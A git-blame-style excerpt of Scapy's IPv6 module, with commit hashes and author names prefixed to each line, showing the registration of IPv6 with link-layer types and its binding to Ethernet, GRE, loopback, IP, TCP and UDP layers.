3878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3881614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l3types.register(ETH_P_IPV6, IPv6)
3882614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l2types.register(31, IPv6)
38831bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_IPV6, IPv6)
38841bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_RAW, _IPv46)
3885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(Ether,     IPv6,     type = 0x86dd )
3887e0602343e528b8c9a53f20a0a40994eb1bb33436rbu@localhost.localdomainbind_layers(CookedLinux, IPv6,   proto = 0x86dd )
3888246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(GRE,       IPv6,     proto = 0x86dd )
388935f97efc53839f6366918c251dba5df2ac553c8dGuillaume Valadonbind_layers(Loopback,  IPv6,     type = 0x1c )
3890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  TCPerror, nh = socket.IPPROTO_TCP )
3891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  UDPerror, nh = socket.IPPROTO_UDP )
3892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      TCP,      nh = socket.IPPROTO_TCP )
3893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      UDP,      nh = socket.IPPROTO_UDP )
3894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IP,        IPv6,     proto = socket.IPPROTO_IPV6 )
3895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      IPv6,     nh = socket.IPPROTO_IPV6 )
389617b4ef20fe8a6ca5e1387900ca329c5d1bcfe05dGuillaume Valadonbind_layers(IPv6,      IP,       nh = socket.IPPROTO_IPIP )
3897246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(IPv6,      GRE,      nh = socket.IPPROTO_GRE )
3898